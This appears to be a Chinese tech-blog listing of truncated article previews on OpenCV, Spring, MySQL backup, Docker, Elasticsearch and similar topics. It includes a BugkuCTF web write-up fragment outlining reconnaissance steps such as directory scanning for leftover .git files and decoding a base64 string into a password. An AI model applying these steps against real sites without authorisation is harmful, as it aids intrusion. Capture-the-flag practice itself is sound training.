OpenCV&#xff08;Open Source Computer Vision Library&#xff09;是一个开源的计算机视觉和机器学习软件库。它为开发者提供了丰富的工具和函数&#xff0c;用于处理图像和视频数据&#xff0c;以及执行各种计算机视觉任务。 以下是 OpenCV 的一些主要特点和功能&#xff…

【Java】Spring Bean有几种配置方式?

定义 Spring Bcan 的3 种方式分别是:基于XML 的方式配置、基于注解扫播方式配置、基于元数据类的配置。 SpringBean是Spring中最基本的组成单元&#xff0c;Spring 官方文档对 Bean 的解释是这样的:In Spring, the objects that form the backbone of your application and tha…

华为HCIP认证H12-821题库上

1、2.OSPF核心知识 &#xff08;单选题&#xff09;下面关于0SPF的特殊区域&#xff0c;描述错误的是: A、Totally Stub Area允许ABR发布缺省的三类LSA,不接受五类LSA和细化三类LSA B、NSSA Area和Stub区域的不同在于该区域允许自治系统外部路由的引入&#xff0c;由ABR发布…

Linux完成mysql数据库的备份与恢复

背景&#xff1a; 在进行数据报表的测试过程中&#xff0c;为了让我们的测试数据更加真实&#xff0c;因此我们需要同步生产数据到测试环境。方式有很多种&#xff0c;我这里介绍的是通过Linux完成数据同步。 备份数据&#xff1a; 执行命令&#xff1a;mysqldump -uxxx -pxxx…

PyCharm连接远程服务器

要求&#xff1a;PyCharm专业版才支持远程服务 一、创建远程连接 先建立本地与远程服务器之间的SSH连接 1、配置连接 2、建立SSH连接&#xff0c;选择文件传输协议 SFTP 3、设置服务器名&#xff08;可以随意命名&#xff09; 4、配置 SSH连接 点击 172.18.1.202 配置…

字符串排序算法

题目描述&#xff1a; 题目描述 设计一个程序&#xff0c;实现对输入字符串数组按字符串长度进行排序功能。具体要求如下&#xff1a;编写函数void sortByLength(char *strArray[], int numStrings);&#xff0c;用于对输入的字符串数组 strArray 按字符串长度进行升序排序。在…

bugkuctf web随记wp

常规思路&#xff1a; 1&#xff0c;源码2&#xff0c;抓包3&#xff0c;御剑dirsearch扫后台检查是否有git文件未删除4&#xff0c;参数 本地管理员&#xff1a;1&#xff0c;cu看源码&#xff0c;sci看源码有一串东西2&#xff0c;base64解码后是test123猜测是密码3&#x…

数据处理架构

目录 Lambda架构 Kappa架构 Lambda架构 Lambda架构由Twitter的首席科学家Nathan Marz提出。这种架构试图平衡延迟、吞吐量、容错性和系统复杂性四个方面&#xff0c;以满足大数据和实时数据处理的需求。Lambda架构主要由三个层次组成&#xff1a; 批处理层&#xff08;Batch…

ChatGPT热门项目

1.智能GPT 项目地址&#xff1a;智能GPT&#xff1a;你只要提供OpenAI的API Key&#xff0c;那么它就可以根据你设定的目标&#xff0c;采用Google搜索、浏览网站、执行脚本等方式 主要语言&#xff1a;Python 推荐理由&#xff1a;这是由开发者Significant Gravitas推出的项目…

103基于matlab的极限学习机(ELM)和改进的YELM和集成极限学习机(EELM)是现在流行的超强学习机

基于matlab的极限学习机&#xff08;ELM&#xff09;和改进的YELM和集成极限学习机(EELM)是现在流行的超强学习机&#xff0c;该程序是三者的方法比对。 包括学习时间&#xff0c;训练精度和测试精度的对比。数据可更换自己 的&#xff0c;程序已调通&#xff0c;可直接运行…

从零开发短视频电商 OpenSearch/Elasticsearch 查询总结

文章目录 Match Queries&#xff08;全文查询&#xff09;Term Queries&#xff08;词项查询&#xff09;Range Queries&#xff08;范围查询&#xff09;Wildcard Queries&#xff08;通配符查询&#xff09;Fuzzy Queries&#xff08;模糊查询&#xff09;Prefix Queries&…

SpringBoot之数组,集合,日期参数的详细解析

1.4 数组集合参数 数组集合参数的使用场景&#xff1a;在HTML的表单中&#xff0c;有一个表单项是支持多选的(复选框)&#xff0c;可以提交选择的多个值。 多个值是怎么提交的呢&#xff1f;其实多个值也是一个一个的提交。 后端程序接收上述多个值的方式有两种&#xff1a; 数…

MacOS升级指定的系统

问题描述&#xff1a; Mac升级系统&#xff0c;如果使用默认推送的升级可能会升级到最新 的版本&#xff0c;那么怎样才能升级制定的系统呢&#xff1f;1. 搜索“macOS安装器” 2. 点击“使用App store 或浏览器下载macOS安装器” 3. 选择需要的系统&#xff0c;使用App Store …

飞天使-docker知识点5-资源限制与容器的不同状态

文章目录 cpu和内存的限制内存限制的部分参数容器的不同状态docker images 的分层docker registry制作镜像 cpu和内存的限制 默认情况下&#xff0c;容器没有资源限制&#xff0c;可以使用主机内核调度程序允许的尽可能多的 给定资源&#xff0c;Docker 提供了控制容器可以限制…